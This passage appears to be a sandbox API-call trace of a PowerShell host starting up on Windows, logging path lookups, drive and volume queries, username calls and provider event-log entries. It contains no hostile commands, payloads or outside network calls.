lpFilePart=0x0) returned 0x1d [0097.267] GetLastError () returned 0xcb [0097.267] SetErrorMode (uMode=0x1) returned 0x1 [0097.267] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x27e984 | out: lpFileInformation=0x27e984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.267] GetLastError () returned 0xcb [0097.267] SetErrorMode (uMode=0x1) returned 0x1 [0097.270] GetLogicalDrives () returned 0x4 [0097.270] GetLastError () returned 0xcb [0097.272] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27e428, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.272] GetLastError () returned 0xcb [0097.273] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.273] GetLastError () returned 0xcb [0097.273] SetErrorMode (uMode=0x1) returned 0x1 [0097.275] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x6f7218, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x27e950, lpMaximumComponentLength=0x27e94c, lpFileSystemFlags=0x27e948, lpFileSystemNameBuffer=0x6f7118, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x27e950*=0x9c354b42, lpMaximumComponentLength=0x27e94c*=0xff, lpFileSystemFlags=0x27e948*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0097.276] GetLastError () returned 0xcb [0097.276] SetErrorMode (uMode=0x1) returned 0x1 [0097.276] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.276] GetLastError () returned 0xcb [0097.276] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.276] GetLastError () returned 0xcb [0097.276] SetErrorMode (uMode=0x1) returned 0x1 [0097.276] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3386d8c | out: lpFileInformation=0x3386d8c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.276] GetLastError () returned 0xcb [0097.276] SetErrorMode (uMode=0x1) returned 0x1 [0097.276] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.276] GetLastError () returned 0xcb [0097.277] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27e43c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.277] GetLastError () returned 0xcb [0097.277] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.277] GetLastError () returned 0xcb [0097.278] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27e3f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.278] GetLastError () returned 0xcb [0097.278] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.278] GetLastError () returned 0xcb [0097.279] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e400, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.279] GetLastError () returned 0xcb [0097.279] SetErrorMode (uMode=0x1) returned 0x1 [0097.279] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x33879e4 | out: lpFileInformation=0x33879e4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.279] GetLastError () returned 0xcb [0097.279] SetErrorMode (uMode=0x1) returned 0x1 [0097.279] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e408, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.279] GetLastError () returned 0xcb [0097.280] SetErrorMode (uMode=0x1) returned 0x1 [0097.280] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3387b34 | out: lpFileInformation=0x3387b34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.280] GetLastError () returned 0xcb [0097.280] SetErrorMode (uMode=0x1) returned 0x1 [0097.280] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e44c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.280] GetLastError () returned 0xcb [0097.280] SetErrorMode (uMode=0x1) returned 0x1 [0097.280] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3387cd4 | out: lpFileInformation=0x3387cd4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.280] GetLastError () returned 0xcb [0097.280] SetErrorMode (uMode=0x1) returned 0x1 [0097.280] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6f78d8, nSize=0x27e9d4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x27e9d4) returned 0x1 [0097.281] GetLastError () returned 0xcb [0097.281] GetUserNameW (in: lpBuffer=0x6f7118, pcbBuffer=0x27e9dc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27e9dc) returned 1 [0097.281] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x338aa5c*="FileSystem", lpRawData=0x338a918) returned 1 [0097.282] GetLastError () returned 0x0 [0097.283] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.283] GetLastError () returned 0xcb [0097.283] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.283] GetLastError () returned 0xcb [0097.284] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.284] GetLastError () returned 0xcb [0097.284] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.284] GetLastError () returned 0xcb [0097.284] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6f78d8, nSize=0x27e9d4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x27e9d4) returned 0x1 [0097.284] GetLastError () returned 0xcb [0097.285] GetUserNameW (in: lpBuffer=0x6f7118, pcbBuffer=0x27e9dc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27e9dc) returned 1 [0097.285] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x338eb4c*="Function", lpRawData=0x338ea08) returned 1 [0097.285] GetLastError () returned 0x0 [0097.289] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.289] GetLastError () returned 0xcb [0097.295] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e3e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.295] GetLastError () returned 0xcb [0097.295] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e398, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.295] GetLastError () returned 0xcb [0097.295] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e398, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.295] GetLastError () returned 0xcb [0097.295] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e398, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.295] GetLastError () returned 0xcb [0097.337] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e3e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.337] GetLastError () returned 0xcb [0097.337] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e398, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.337] GetLastError () returned 0xcb [0097.337] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e398, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.337] GetLastError () returned 0xcb [0097.338] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6f78d8, nSize=0x27e9d4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x27e9d4) returned 0x1 [0097.339] GetLastError () returned 0xcb [0097.339] GetUserNameW (in: lpBuffer=0x6f7118, pcbBuffer=0x27e9dc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27e9dc) returned 1 [0097.339] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x33a7c08*="Registry", lpRawData=0x33a7ac4) returned 1 [0097.340] GetLastError () returned 0x0 [0097.341] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.341] GetLastError () returned 0x0 [0097.341] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.341] GetLastError () returned 0x0 [0097.341] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.341] GetLastError () returned 0x0 [0097.343] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6f78d8, nSize=0x27e9d4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x27e9d4) returned 0x1 [0097.343] GetLastError () returned 0x0 [0097.343] GetUserNameW (in: lpBuffer=0x6f7118, pcbBuffer=0x27e9dc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27e9dc) returned 1 [0097.344] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x33ab9f0*="Variable", lpRawData=0x33ab8ac) returned 1 [0097.344] GetLastError () returned 0x0 [0097.346] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.346] GetLastError () returned 0xcb [0097.349] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.349] GetLastError () returned 0xcb [0097.351] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0097.351] GetLastError () returned 0xcb [0097.351] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0097.351] GetLastError () returned 0xcb [0097.351] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0097.351] GetLastError () returned 0xcb [0097.351] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0097.351] GetLastError () returned 0xcb [0097.419] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6f78d8, nSize=0x27e9d4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x27e9d4) returned 0x1 [0097.420] GetLastError () returned 0x3 [0097.420] GetUserNameW (in: lpBuffer=0x6f7118, pcbBuffer=0x27e9dc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27e9dc) returned 1 [0097.420] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x33b97bc*="Certificate", lpRawData=0x33b9678) returned 1 [0097.421] GetLastError () returned 0x0 [0097.434] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.434] GetLastError () returned 0xcb [0097.437] GetLogicalDrives () returned 0x4 [0097.437] GetLastError () returned 0xcb [0097.437] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27e54c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.437] GetLastError () returned 0xcb [0097.437] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.437] GetLastError () returned 0xcb [0097.438] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x6f7118 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0097.438] GetLastError () returned 0xcb [0097.440] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.440] GetLastError () returned 0xcb [0097.440] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.440] GetLastError () returned 0xcb [0097.483] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.483] GetLastError () returned 0xcb [0097.486] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.486] GetLastError () returned 0xcb [0097.487] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x27e394, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.487] GetLastError () returned 0xcb [0097.487] SetErrorMode (uMode=0x1) returned 0x1 [0097.487] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x33c1128 | out: lpFileInformation=0x33c1128*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8163ab00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x8163ab00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.487] GetLastError () returned 0xcb [0097.487] SetErrorMode (uMode=0x1) returned 0x1 [0097.487] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x27e39c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.487] GetLastError () returned 0xcb [0097.487] SetErrorMode (uMode=0x1) returned 0x1 [0097.487] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x33c12dc | out: lpFileInformation=0x33c12dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8163ab00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x8163ab00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.487] GetLastError () returned 0xcb [0097.488] SetErrorMode (uMode=0x1) returned 0x1 [0097.491] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.491] GetLastError () returned 0xcb [0097.519] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x27e4e4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0097.520] GetLastError () returned 0xcb [0097.520] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e460, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.520] GetLastError () returned 0xcb [0097.520] SetErrorMode (uMode=0x1) returned 0x1 [0097.520] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x27e8e0 | out: lpFileInformation=0x27e8e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.520] GetLastError () returned 0xcb [0097.520] SetErrorMode (uMode=0x1) returned 0x1 [0097.521] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e460, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.521] GetLastError () returned 0xcb [0097.521] SetErrorMode (uMode=0x1) returned 0x1 [0097.521] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x27e8e0 | out: lpFileInformation=0x27e8e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0097.521] GetLastError () returned 0xcb [0097.521] SetErrorMode (uMode=0x1) returned 0x1 [0097.521] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e474, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.521] GetLastError () returned 0xcb [0097.521] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27e410, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0097.521] GetLastError () returned 0xcb [0097.521] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27e460, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0097.521] GetLastError () returned 0xcb [0097.521] SetErrorMode (uMode=0x1) returned 0x1 [0097.521] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x27e8e0 | out: lpFileInformation=0x27e8e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0097.521] GetLastError () returned 0xcb [0097.521] SetErrorMode (uMode=0x1) returned 0x1 [0097.521] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27e460, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0097.521] GetLastError () returned 0xcb [0097.521] SetErrorMode (uMode=0x1) returned 0x1 [0097.522] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x27e8e0 | out: lpFileInformation=0x27e8e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0097.522] GetLastError () returned 0xcb [0097.522] SetErrorMode (uMode=0x1) returned 0x1 [0097.522] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27e474, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0097.522] GetLastError () returned 0xcb [0097.522] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x27e410, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0097.522] GetLastError () returned 0xcb [0097.522] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x27e460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0097.522] GetLastError () returned 0xcb [0097.522] SetErrorMode (uMode=0x1) returned 0x1 [0097.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x27e8e0 | out: lpFileInformation=0x27e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, 